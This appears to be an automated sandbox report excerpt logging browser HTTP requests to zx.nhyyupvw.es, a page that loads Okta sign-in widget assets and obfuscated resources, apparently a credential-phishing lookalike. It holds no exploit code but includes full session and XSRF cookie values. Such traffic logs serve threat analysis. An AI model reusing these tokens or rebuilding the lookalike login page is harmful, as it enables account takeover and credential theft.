laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zx.nhyyupvw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://zx.nhyyupvw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://zx.nhyyupvw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://zx.nhyyupvw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveOrigin: https://zx.nhyyupvw.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveOrigin: https://zx.nhyyupvw.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56RUahGebwqKTECeqqijlaszPEuaj67109 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvrHkhbtqqgRHO76ophsOeJyI65mqHe12122 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250324%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250324T131309Z&X-Amz-Expires=300&X-Amz-Signature=3d601274a7a6ffc17f60c001661c29d1f20822074986ea0feb0d43eed1911768&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zx.nhyyupvw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mnWgRjpYOJyJPaVixj6G8TZSpy1PP56btk9tvJb1TP2OyPI6KN5eX2RuzWuv220 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klHLUe0uNCmZ3iuCGFVX5eHyTols89Xa4wAuEJvwbmUFuenZcyz230 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /oppIsj6CcZlBQupeRL6gh0ZlxRc7NGW5P5867139 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /efhlPkmcsNf53p8AYXnleVbkhPZE3mijqeDQ4E5l6akrwoDtg78150 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvrHkhbtqqgRHO76ophsOeJyI65mqHe12122 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yowScpWV08VlrEXL91MJ1eFZTqguTPKWaxVnnr16zV5wa83MFiijl HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMzSGI1aC9RTHQweHBJb0FWNmc5K2c9PSIsInZhbHVlIjoidVBQNnNQOTJwZlBVdnZPRXNaUFNrMHFSZ3c4M0tSTXRnUCthdFdLQjVYQWhQYXRJdWFIMTlrcjl6Zmptd3c1UmJDdS9hTkU1MVlIUkJzVEhDdURHam1DUjlLTGtFU01XWVZld1MyY3psMCtUV1hxVUxFTi9TeHd6STRsc3ZjYkkiLCJtYWMiOiI2NzUxY2JhNDg0YjVjMGI5MWI1MzExMTRjNDAzMWQyZDc3ZGE4MTY2N2MzNDU5MWE1NmQwOGFiYWJjMGJhNTQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjQwcmNIczFqOGp3UUpHaHg4UEFZc3c9PSIsInZhbHVlIjoiQW9NOWZCbnVqVGxWdGN3clRiMEU4ZlJEK0pFbVltRzhWWFlQMG1IOUQxZ2l6b0QzYXF3TEU0MjFZZU9ZSmdTUkhQWFVFK2RCSHJicHo0VDJaYUtuSTRJK1lnMUd4SUUvVzRBNmU2dmloeXZVNlNOL2p1VHBMdWU4ZWg4TmpHMEYiLCJtYWMiOiI4NDg2YWU3MmUzZGZlZWQwZjRjN2Y4NThiNmQ0NjI4OWZjZjhjMTllMzdiNjAzMmIwMmUxMjU5NzJiZjY3MGMxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kloXcVD2ghFxffj3wxjV8yzwfoHITvW15BXn78170 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
